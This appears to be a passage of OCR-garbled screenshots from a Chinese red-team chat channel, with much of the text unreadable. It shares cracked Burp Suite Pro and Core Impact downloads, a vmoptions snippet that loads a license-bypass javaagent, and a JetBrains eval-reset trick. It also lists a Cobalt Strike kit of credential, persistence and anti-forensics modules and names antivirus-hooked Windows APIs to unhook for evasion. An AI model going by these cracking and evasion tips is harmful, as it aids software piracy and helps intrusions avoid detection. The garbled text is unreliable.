https://chrome.google.com/webstore/detail/github%E...


https://github.com/byt3bl33d3r/DeathStar
http://wolvez.club/2020/12/17/macro/
https://chrome.google.com/webstore/detail/github%E5%8A%A0%E9%80%9F/mfnkflidjnladnkldfonnaicljppahpg?utm_source=chrome-ntp-icon

gcl https://github.91chifun.workers.dev//https://githu...

RedTeaming - 2020-12-19

#MacT B#
BurpSuite12.1
ERTEHRE K EFNEES, BEBEMA https://github.com/TrojanAZhen/BurpSuitePro-2.1

$44%: https://pan.baidu.com/s/1mdXaPovsSL480JCLgFHEIg 12EV3: Wing S5 XBRRNB G A EEME FHApp, BRIEEHERE
- REGEMZBRRAVGHDE

#E
BHZTHBSMacli IS %

BloaderEEBI =&
vmoptions AT

# Enter one VM parameter per line

# For example, to adjust the maximum memory usage to 512 MB, uncomment the following line:
#-Xmx512m

# To include another file, uncomment the following line:

# -include-options [path to other .vmoption file]

-XX:MaxRAMPercentage=50

-include-options user.vmoptions

-noverify
-javaagent:$APP_PACKAGE/Contents/Resources/app/Burploader2020_x.jar

AREAFHME— T MEERAT


https://github.91chifun.workers.dev//https://github.com/iiiusky/alicloud-tools.git
https://github.com/TrojanAZhen/BurpSuitePro-2.1
https://pan.baidu.com/s/1mdXaPovsSL480JCLgFHEIg

ene Burp Suite Professional v2020.12.1 - Temporary Project - RedTeamWing

Use Burp's embedded browser Use a different browser

to perfor

Using Burp Proxy Burp Proxy options Burp Proxy documentation

Burp Suite Professional




8 burpbrowser

& Burploader2020_x.jar
& burpsuite_pro.jar




¥ Contents

| Pluglns

# Resources

. Info.plist
B Pkginfo

B vmoptions.txt

RedTeaming - 2020-12-19

HRIERNTips#
IDEA [RIFIR[E] EREFERBIUE

https://blog.csdn.net/u010814849/article/details/7...

RedTeaming - 2020-12-19

#CSTips#
CStEE &I H 7 CorelmpactfICSEANAIZIFE
https://www.youtube.com/watch?v=9U-hRXsDsis&featur...

EERXTRERAE


https://blog.csdn.net/u010814849/article/details/76682701
https://www.youtube.com/watch?v=9U-hRXsDsis&feature=youtu.be

: [https://raidforums.com/Thread-CORE-IMPACT-20-1-620...]Chttps://raidforums.com/Thread-CORE-IMPACT-20-1-6201-Binary-PLAIN-Key-Bypassed-Installer-0Only)
Wing: fRETIE, XPDIEHSTE
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B AnnoyKit
B AntiForensicsKit
" applet

B Arsenal

B artifact

B CredKit

B DebugKit
B ElevateKit
B EnumKit

B Extra

B Misc

| MIT™M

BB Others

B PersistKit
8 powerapplet
B PrivescKit
B resourcekit
8 ThirdParty
B AvQuery.cna

B chromed...ikatz.cna
B KitLoader__.cna

B dist

B include

B src

B src-java

B src-java-17
B applet.cna
B build.sh
main.dll
main64.dll
B manifest.txt

B README.txt
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https://mp.weixin.qq.com/s/YBAnFbgNd7Q0Eif3Q119qg
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https://github.com/firebroo/sec_tools
https://mp.weixin.qq.com/s/5nnJEfAFZsqzxq_2-UPZCw
https://github.com/rvrsh3ll/NoMSBuild
https://pan.baidu.com/s/1J9vWlQPMovLsd3ZWTgGsHg

XFRINRERFATENEKE, BRIAZH AV #52% HOOK, KERNELBASE.DLL, NTDLL.DLL, KERNEL32.DLL
EEEE APl (RZE.sys BIIERT), ) Norton Jfi:
VirtualAllocEx

CreateFileMappingW

CreateFileMappingNumaw

CreateFileW

MapViewOfFile

VirtualProtect

HeapCreate

VirtualAlloc

MapViewOfFileEx

CreateRemoteThreadEx

WriteProcessMemory
LZ#R HOOK KISEHE, ABAIXEIR shells.system A unhook FiEFMA LT . RFEBE—MERERMPIT, BEAAEHA,

RainismG: [GitHub+-+D3VI5SH4/Antivirus-Artifacts:+Anti-virus+a...]Chttps://github.com/D3VISH4/Antivirus-Artifacts)
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GitHub+-+jfmaes/SharpZipRunner:+Executes+position+...
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https://zhile.io/2020/11/18/jetbrains-eval-reset.html
https://github.com/jfmaes/SharpZipRunner
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